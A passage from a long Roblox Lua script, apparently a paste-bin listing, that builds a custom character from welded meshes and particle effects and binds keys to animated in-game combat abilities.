  2602. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2603. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2604. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2605. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2606. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2607. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2608. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2609. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2610. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2611. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2612. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2613. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2614. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2615. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2616. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2617. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2618. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2619. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2620. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2621. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2622. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2623. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2624. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2625. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2626.  
  2627. local modelzorz3=Instance.new("Model")
  2628. modelzorz3.Parent=Character
  2629. modelzorz3.Name="Eye"
  2630.  
  2631. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2632. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2633. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2634. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2635. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2636. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2637. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2638. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2639. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  2640. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(3.79999995, 4, 1.39999998))
  2641. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2642. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  2643. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  2644. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2645. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  2646. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2647. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  2648. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2649. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2650. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2651. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  2652. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2653. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  2654. local moosick = it("Sound",Character)
  2655. moosick.SoundId = "rbxassetid://613035749"
  2656. --142653441, 175067863
  2657. moosick.Looped = true
  2658. moosick.Pitch = 0.9775
  2659. moosick.Volume = 1.5
  2660. moosick:Play()
  2661.  
  2662. anim = Character:findFirstChild("Animate")
  2663. if anim then
  2664. anim:Destroy()
  2665. end
  2666.  
  2667. local particleemitter = Instance.new("ParticleEmitter", Handle)
  2668. particleemitter.VelocitySpread = 180
  2669. particleemitter.Lifetime = NumberRange.new(0.1)
  2670. particleemitter.Speed = NumberRange.new(2)
  2671. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2672. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2673. particleemitter.Rate = 100
  2674. particleemitter.Rotation = NumberRange.new(-45, 45)
  2675. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2676. particleemitter.LightEmission = 0.8
  2677. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2678.  
  2679. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  2680. particleemitter.VelocitySpread = 180
  2681. particleemitter.Lifetime = NumberRange.new(0.1)
  2682. particleemitter.Speed = NumberRange.new(2)
  2683. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2684. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2685. particleemitter.Rate = 100
  2686. particleemitter.Rotation = NumberRange.new(-45, 45)
  2687. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2688. particleemitter.LightEmission = 0.8
  2689. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2690.  
  2691. local particleemitter = Instance.new("ParticleEmitter", handle)
  2692. particleemitter.VelocitySpread = 180
  2693. particleemitter.Lifetime = NumberRange.new(0.1)
  2694. particleemitter.Speed = NumberRange.new(2)
  2695. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  2696. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2697. particleemitter.Rate = 100
  2698. particleemitter.Rotation = NumberRange.new(-45, 45)
  2699. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2700. particleemitter.LightEmission = 0.8
  2701. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2702.  
  2703. local light = Instance.new("PointLight", Character.Torso)
  2704. light.Color = Color3.new(255,255,255)
  2705. light.Brightness = 5
  2706. light.Range = 15
  2707.  
  2708. particleemitter.Enabled = true
  2709.  
  2710. local Footsteps = it("Sound",Character.Torso)
  2711. Footsteps.SoundId = "rbxassetid://142665235"
  2712. Footsteps.Looped = true
  2713. Footsteps.Pitch = 0.8
  2714. Footsteps.Volume = 0.3
  2715.  
  2716. local Footsteps2 = it("Sound",Character.Torso)
  2717. Footsteps2.SoundId = "rbxassetid://142665235"
  2718. Footsteps2.Looped = true
  2719. Footsteps2.Pitch = 1
  2720. Footsteps2.Volume = 0.4
  2721.  
  2722. local cam = game.Workspace.CurrentCamera
  2723.  
  2724. --cam.CameraSubject = Character
  2725.  
  2726. for i,v in pairs(Head:children()) do
  2727. if v:IsA("Sound") then
  2728. v:Destroy()
  2729. end
  2730. end
  2731.  
  2732. mouse.Button1Down:connect(function()
  2733. if attack==false and attacktype==1 then
  2734. attacktype=2
  2735. attackone()
  2736. elseif attack==false and attacktype==2 then
  2737. attacktype=3
  2738. attacktwo()
  2739. elseif attack==false and attacktype==3 then
  2740. attacktype=4
  2741. attackthree()
  2742. elseif attack==false and attacktype==4 then
  2743. attacktype=1
  2744. attackfour()
  2745. end
  2746. end)
  2747.  
  2748. mouse.KeyDown:connect(function(k)
  2749. k=k:lower()
  2750. if k=='e' then
  2751. if attack==false and mana>=20 then
  2752. Push()
  2753. end
  2754. elseif k=='g' then
  2755. if attack==false and mana>=50 then
  2756. Twirl()
  2757. end
  2758. elseif k=='v' then
  2759. if attack==false and mana>=25 then
  2760. MagicJump()
  2761. end
  2762. elseif k=='c' then
  2763. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2764. attack=true
  2765. for i = 1, 40 do
  2766. swait()
  2767. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2768. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2769. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2770. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2771. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2772. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2773. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2774. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2775. end
  2776. Blaze()
  2777. attack = false
  2778. end
  2779. elseif k=='x' then
  2780. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2781. attack=true
  2782. for i = 1, 15 do
  2783. swait()
  2784. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2785. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2786. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2787. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2788. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2789. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2790. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2791. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2792. end
  2793. so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35)
  2794. so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65)
  2795. for i = 0, 30 do
  2796. BlastEffect(BrickColor.new("White"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5)
  2797. wait(0.1)
  2798. end
  2799. local parteffected = Instance.new("Part",tors)
  2800. parteffected.Transparency = 1
  2801. parteffected.Position = tors.Position
  2802. parteffected.CanCollide = false
  2803. parteffected.Anchored = true
  2804. so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5)
  2805. so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4)
  2806. BlastEffect(BrickColor.new("White"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15)
  2807. MagicCircle(BrickColor.new("White"),cf(parteffected.Position),5,5,5,15,15,15,0.05)
  2808. MagicCircle(BrickColor.new("White"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05)
  2809. BlastEffect(BrickColor.new("White"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30)
  2810. local sbs = Instance.new("BodyPosition", RootPart)
  2811. sbs.P = 3000
  2812. sbs.D = 1000
  2813. sbs.maxForce = Vector3.new(500000, 500000000, 500000)
  2814. sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0)
  2815. for i = 1, 40 do
  2816. swait()
  2817. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2818. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2819. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2820. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2821. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2822. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2823. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2824. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2825. end
  2826. wait(3)
  2827. Blaze2()
  2828. attack = false
  2829. parteffected:Destroy()
  2830. sbs:Destroy()
  2831. end
  2832. elseif k=='q' then
  2833. if attack==false then
  2834. idle=1000
  2835. end
  2836. elseif k=='h' then
  2837. if attack==false then
  2838. mana=100
  2839. end
  2840. elseif k=='y' then
  2841. if attack==false and mana>=100 then
  2842. Shred()
  2843. end
  2844. elseif k=='f' then
  2845. if attack==false and mana>=40 then
  2846. Spin()
  2847. end
  2848. elseif k=='r' then
  2849. if attack==false and mana>=20 then
  2850. Clap()
  2851. end
  2852. elseif k=='t' then
  2853. if attack==false then
  2854. Hai()
  2855. end
  2856. elseif k=='0' then
  2857. if attack==false then
  2858. Humanoid.WalkSpeed=(24)
  2859. end
  2860. elseif k=='j' then
  2861. if attack==false then
  2862. Humanoid.Health = 10
  2863. print("Congrats, you commited suicide.")
  2864. end
  2865. end
  2866. end)
  2867.  
  2868. mouse.KeyDown:connect(function(k)
  2869. if k == "z" and Ultramode == false then
  2870. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2871. attack = true
  2872. for i = 1, 15 do
  2873. swait()
  2874. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2875. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2876. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2877. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2878. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2879. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2880. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2881. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2882. end
  2883. m:Destroy()
  2884. local m = Instance.new("Model", Character)
  2885. m.Name = "WeaponModel"
  2886. local parta = Instance.new("Part",Character)
  2887. parta.Size = vt(10,10,10)
  2888. parta.BrickColor = BrickColor.new("White")
  2889. parta.Material = "Neon"
  2890. parta.Shape = "Ball"
  2891. parta.Transparency = 0
  2892. parta.Anchored = true
  2893. parta.CanCollide = false
  2894. parta.CFrame = tors.CFrame
  2895. Transform()
  2896. parta:Destroy()
  2897.  
  2898. local modelzorzz=Instance.new("Model")
  2899. modelzorzz.Parent=Character
  2900. modelzorzz.Name="Claw1"
  2901.  
  2902. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2903. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2904. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2905. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2906. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2907. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2908. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2909. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2910. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2911. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2912. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2913. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2914. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2915. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2916. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2917. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2918. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2919. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2920. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2921. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2922. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2923. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2924. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2925. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2926. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2927. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2928. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2929. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2930. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2931. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2932. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2933. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2934. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(4.29999971, 4.30000019, 1))
